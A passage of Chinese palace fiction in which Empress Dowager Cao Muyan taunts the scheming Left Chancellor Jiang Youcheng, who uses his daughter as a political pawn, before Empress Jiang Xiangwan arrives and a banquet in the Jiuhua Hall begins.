曹暮烟这一句声音不大,却足够让人听得清楚,江佑城脸色发青,死死地握着袖中的双拳,看到曹暮烟朝这边递来的略带讽刺的眸光,他不由得恨恨咬牙。 曹太后这是在怪他抛弃她而选择了皇上! 其实,他谁也没有选,他只不过是根据眼下的局势,选择了最有利于江家发展的一边罢了。 如果,将来皇上在和曹太后之争中失败了,他也有办法取得曹太后的宠信,在朝中继续立足。说他无耻也好,老奸巨猾也罢,他做的这一切都是为了江家,他决不能让江家在他的手中走向没落。 江家,理应荣华千古,流芳百世的! 江向晚是他最宠爱的女儿没错,但是也是他为了家族而悉心栽培的一枚棋子! 就在这时,外面再次传来一声通报,“皇后娘娘驾到!” 刚才江向晚在外面就已经听到了曹暮烟讥讽的话,恨不得进去将她撕碎,她紧握着双拳,强势自己忍耐。 她在外面调整了一下神色,在自己脸上挂上了温婉大方的笑容,这才缓缓踏进九华殿。 底下的众臣见她进来,立即行礼道:“微臣参见皇后娘娘。” 江向晚看着下面跪倒的众人,心中升起凌然之感,之前受的委屈侮辱顿时稍稍恢复一些。 她带着温和的笑意,对这众人道:“都平身吧。” 众人这才打量起江向晚来,她的头上带着金凤步摇,插着九尾凤钗,简单而大方,华贵而不奢靡,身上的凤服镶嵌着珠玉,在夜明珠的照耀下熠熠生辉,尽显尊贵。 她的脸上带着温良娴舒的浅笑,举手投足之间皆透着雍容华贵,众人不禁纷纷称赞左相养了个好女儿! 江佑城听着这些恭贺,脸上不禁露出了笑意,他的晚儿永远都会给他带来荣耀! “既然来了,就开宴吧。”曹暮烟斜斜的挑了挑眉梢,眸光睥了眼江向晚,妩媚的拂了拂鬓发,妖娆夺目之姿顿时将江向晚的光彩夺去了一半。 江向晚脸色一黯,只得挨着北宫喆坐下。 笙歌起,觥筹交错,晚宴正式开始了!